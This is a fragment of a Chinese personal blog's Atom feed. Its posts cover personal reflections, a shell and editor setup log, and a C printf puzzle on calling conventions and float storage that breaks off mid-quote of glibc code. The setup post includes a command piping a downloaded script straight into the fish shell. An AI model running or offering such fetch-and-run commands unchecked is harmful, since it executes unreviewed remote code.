&lt;h2 id=&quot;rainy-days-and-mondays&quot;&gt;Rainy Days and Mondays&lt;&#x2F;h2&gt;
&lt;p&gt;这几周，屋外的雨格外的勤。开始写blog的时候是周日，写完的时候已经是下一个周日了，也意识到自己也很久没更新博客了。&lt;&#x2F;p&gt;
&lt;p&gt;这可能也是把爱好当成工作的一个坏处，虽然还能有余力在工作之外抽出时间做点自己感兴趣的事情，但毕竟要考虑到避嫌的因素，不能把工作上的事情带到非工作的场合中，所以姑且写了点东西但也没发出来。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;defcon-devops-recooord&#x2F;.&#x2F;i_do_write_something.png&quot; alt=&quot;真的写了&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;另一方面也发现，爱好当成工作，对爱好多少还是有一些影响的。前段时间和同学一起（冒着行程信息被公开分享的风险）吃了顿饭，等位的时候同学讨论的一些互联网产品自己甚至都没听说过。上班几年，感觉对新事情的嗅觉显著变淡了，不知道是因为和身边的人一样患上了「互联网公司流行性感冒」，闻不出有趣的产品，还是说这更多是自己的问题，只是假托工作的名义罢了。虽然也还年轻，但偶尔也会感叹自己老了……毕竟接受新事物的能力真的不如年轻人了。看看周围还在努力的同学和同事们，不由生出一丝愧意，鄙人何德何能……&lt;&#x2F;p&gt;
&lt;p&gt;总之过段时间重写下blog，现在这样markdown的编写和存储方式，也不太容易和自己的其他资料存储在一起。最近在学Rust，感觉很有意思，清风拂面。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Environment Settings</title>
        <published>2019-06-03T00:00:00+00:00</published>
        <updated>2019-06-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/environment-settings/"/>
        <id>https://blog.iret.xyz/posts/environment-settings/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/environment-settings/">&lt;p&gt;Record them in case of someone (who?) broke my harddrive again.&lt;&#x2F;p&gt;
&lt;p&gt;The configuration repo is located at &lt;code&gt;github.com:SilverBut&#x2F;code_snippets:env_configs&#x2F;&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Work still in progress.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;terminals&quot;&gt;Terminals&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Install &lt;code&gt;fish&lt;&#x2F;code&gt; and some plugins. If you want to know more plugins, read &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;jorgebucaran&#x2F;awesome-fish&quot;&gt;this&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;Install &lt;code&gt;oh-my-fish&lt;&#x2F;code&gt;: &lt;code&gt;curl -L https:&#x2F;&#x2F;get.oh-my.fish | fish&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Install &lt;code&gt;fisher&lt;&#x2F;code&gt;: &lt;code&gt;curl https:&#x2F;&#x2F;git.io&#x2F;fisher --create-dirs -sLo ~&#x2F;.config&#x2F;fish&#x2F;functions&#x2F;fisher.fish&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Install some plugins:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;omf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; install spacefish&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;omf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; install https:&#x2F;&#x2F;github.com&#x2F;jhillyerd&#x2F;plugin-git&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;omf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; install vcs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;fisher&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; add jethrokuan&#x2F;z&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;editors&quot;&gt;Editors&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Install &lt;code&gt;vim&lt;&#x2F;code&gt; and other things. Ensure &lt;code&gt;vim&lt;&#x2F;code&gt; is higher than &lt;code&gt;7.0&lt;&#x2F;code&gt; but all those configs only tested under 8.0.
&lt;ul&gt;
&lt;li&gt;Get the &lt;code&gt;vimrc&lt;&#x2F;code&gt; file from the configuration repo.&lt;&#x2F;li&gt;
&lt;li&gt;Run &lt;code&gt;vim&lt;&#x2F;code&gt; and it should automatically install all dependecies required. See &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;junegunn&#x2F;vim-plug&#x2F;wiki&#x2F;tips#automatic-installation&quot;&gt;here&lt;&#x2F;a&gt; for more info.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Install &lt;code&gt;vscode&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;Add to path. For macbook: &lt;code&gt;set -U fish_user_paths &#x27;&#x2F;Applications&#x2F;Visual Studio Code.app&#x2F;Contents&#x2F;Resources&#x2F;app&#x2F;bin&#x27; $fish_user_paths&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;environments&quot;&gt;Environments&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Install Rust and add to path: &lt;code&gt;set -U fish_user_paths $HOME&#x2F;.cargo&#x2F;bin $fish_user_paths&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>2019 新年感言</title>
        <published>2019-02-19T00:00:00+00:00</published>
        <updated>2019-02-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/new-year-2019/"/>
        <id>https://blog.iret.xyz/posts/new-year-2019/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/new-year-2019/">&lt;p&gt;今年的主要任务：如何在保证&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;向团队提供硬件技术支持&lt;&#x2F;li&gt;
&lt;li&gt;完成一个产品&lt;&#x2F;li&gt;
&lt;li&gt;参与商业项目&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;的同时，保持研究能力不退步。&lt;&#x2F;p&gt;
&lt;p&gt;唉，好累啊。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;&#x2F;as2.bitinn.net&#x2F;uploads&#x2F;legacy&#x2F;o5&#x2F;ciumofmh900gm475nbaa5cdo5.1200.jpg&quot; alt=&quot;别在意细节，活着多累&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;&#x2F;From: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;as.bitinn.net&#x2F;&quot;&gt;https:&#x2F;&#x2F;as.bitinn.net&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>2018 Summary</title>
        <published>2019-01-08T00:00:00+00:00</published>
        <updated>2019-01-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/eof-2018-summary/"/>
        <id>https://blog.iret.xyz/posts/eof-2018-summary/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/eof-2018-summary/">&lt;p&gt;点开Dropbox发现自己已经很久没更新了……罪过罪过&lt;&#x2F;p&gt;
&lt;p&gt;实际今年也没什么好说的……不分顺序的描述下生活，那：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;有了个女朋友，然后又没了个女朋友&lt;&#x2F;li&gt;
&lt;li&gt;养了一只猫&lt;&#x2F;li&gt;
&lt;li&gt;搬了几次家&lt;&#x2F;li&gt;
&lt;li&gt;买了好多没有用的东西&lt;&#x2F;li&gt;
&lt;li&gt;毕业了&lt;&#x2F;li&gt;
&lt;li&gt;……&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;老问题依然在，老板也找我聊，他认同我的能力，但觉得我做事情的方法还有待改进。
总之就是，失焦特别严重，思维就像调焦电机乱转的镜头。
老毛病了。采用了一些方法来管理，这几天看下来多少有点用。&lt;&#x2F;p&gt;
&lt;p&gt;希望明年别拉团队后腿就是了。&lt;&#x2F;p&gt;
&lt;p&gt;其他方面……反正就多努力吧&lt;&#x2F;p&gt;
&lt;p&gt;争取多发点技术文章吧&lt;&#x2F;p&gt;
&lt;p&gt;另外庆祝本主机在服务一直加加减减，热补丁打得来来回回的情况下稳定运行133天&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;eof-2018-summary&#x2F;.&#x2F;uptime_info.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>一道“简单”的二进制题目</title>
        <published>2018-05-03T00:00:00+00:00</published>
        <updated>2018-05-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/printf-magic-float/"/>
        <id>https://blog.iret.xyz/posts/printf-magic-float/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/printf-magic-float/">&lt;p&gt;这道题本来想当作面试题给出，但认真考虑了一下，还是算了，怕被找上门真人快打……找好的懂底层的开发真难啊。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ti-mu&quot;&gt;题目&lt;&#x2F;h2&gt;
&lt;p&gt;请指出下列代码是否存在问题。如有，请指明错误，并预测程序运行输出，并说明原因。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; gcc test.c -o test -g &amp;amp;&amp;amp; .&#x2F;test&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;lt;stdio.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  unsigned int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;12345678&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  float&lt;&#x2F;span&gt;&lt;span&gt; j &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;9abcdef0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%d\t%f\t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%d\t%f\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; j)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%p\t%x\t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%p\t%x\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; j)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;da-an&quot;&gt;答案&lt;&#x2F;h2&gt;
&lt;p&gt;这道题的来源是最近同事调试exp中遇到的小问题，主要涉及到了：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;调用约定&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;printf&lt;&#x2F;code&gt;原理&lt;&#x2F;li&gt;
&lt;li&gt;浮点数存储&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;首先说下正确的答案：&lt;&#x2F;p&gt;
&lt;p&gt;存在错误，在第三次和第四次时传入参数类型和格式化字符串不符。打印输出的第一行可能是：
305419896 2596069120.000000 305419896 2596069120.000000
第二行中第一个、第三个输出数字为0x12345678，第二个和第四个不可预测。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;fen-xi&quot;&gt;分析&lt;&#x2F;h2&gt;
&lt;p&gt;一般来说比较容易从源代码发现的问题是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;第三行、第四行的格式化字符串中，参数给定错误。&lt;&#x2F;li&gt;
&lt;li&gt;声明的变量j由于浮点数自身问题，会丢失精度，变成&lt;code&gt;0x9abcdf00&lt;&#x2F;code&gt;，也就是&lt;code&gt;2596069120.000000&lt;&#x2F;code&gt;。这里涉及到的就是浮点数存储问题，不再赘述。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;但观察输出，又有了几个新问题，分别是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;第一次、第二次与第三次、第四次调用&lt;code&gt;printf&lt;&#x2F;code&gt;时，参数顺序有了变化，但为何没有体现在输出结果中&lt;&#x2F;li&gt;
&lt;li&gt;第三次、第四次调用&lt;code&gt;printf&lt;&#x2F;code&gt;时，输出为何是不可预测的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;printf&lt;&#x2F;code&gt;的特殊之处在于，他是一个变参函数。变参函数的传参方式，在&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.uclibc.org&#x2F;docs&#x2F;psABI-x86_64.pdf&quot;&gt;System V AMD64 ABI(Page 20)&lt;&#x2F;a&gt;中有如下描述：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;整数类型按照&lt;code&gt;rdi-&amp;gt;rsi-&amp;gt;rdx-&amp;gt;rcx-&amp;gt;r8-&amp;gt;r9&lt;&#x2F;code&gt;的顺序&lt;&#x2F;li&gt;
&lt;li&gt;浮点数类型按照&lt;code&gt;xmm0-&amp;gt;xmm1-&amp;gt;...-&amp;gt;xmm6-&amp;gt;xmm7&lt;&#x2F;code&gt;的顺序，部分类型只占用半个寄存器的，可以将寄存器拆成两半使用&lt;&#x2F;li&gt;
&lt;li&gt;其他参数和复杂类型（如直接传结构体）从栈走&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而在&lt;code&gt;printf-&amp;gt;vfprintf&lt;&#x2F;code&gt;内部的代码中，处理这些变参的方法如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    LABEL&lt;&#x2F;span&gt;&lt;span&gt; (form_integer):                                                      &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;      &#x2F;* Signed decimal integer.  *&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      base &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;      if&lt;&#x2F;span&gt;&lt;span&gt; (is_longlong)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                                      \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;          long long int&lt;&#x2F;span&gt;&lt;span&gt; signed_number&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;          if&lt;&#x2F;span&gt;&lt;span&gt; (fspec &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                      \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            signed_number &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; va_arg&lt;&#x2F;span&gt;&lt;span&gt; (ap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; long long int&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;          else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                                      \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            signed_number &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; args_value[fspec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;data_arg]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pa_long_long_int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;     \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    LABEL&lt;&#x2F;span&gt;&lt;span&gt; (form_float):                                                              &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        &#x2F;* Floating-point number.  This is handled by printf_fp.c.  *&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;&#x2F;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; (is_long_double)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                      \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;              the_arg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pa_long_double&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; va_arg&lt;&#x2F;span&gt;&lt;span&gt; (ap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; long double&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;              the_arg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pa_double&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; va_arg&lt;&#x2F;span&gt;&lt;span&gt; (ap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; double&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
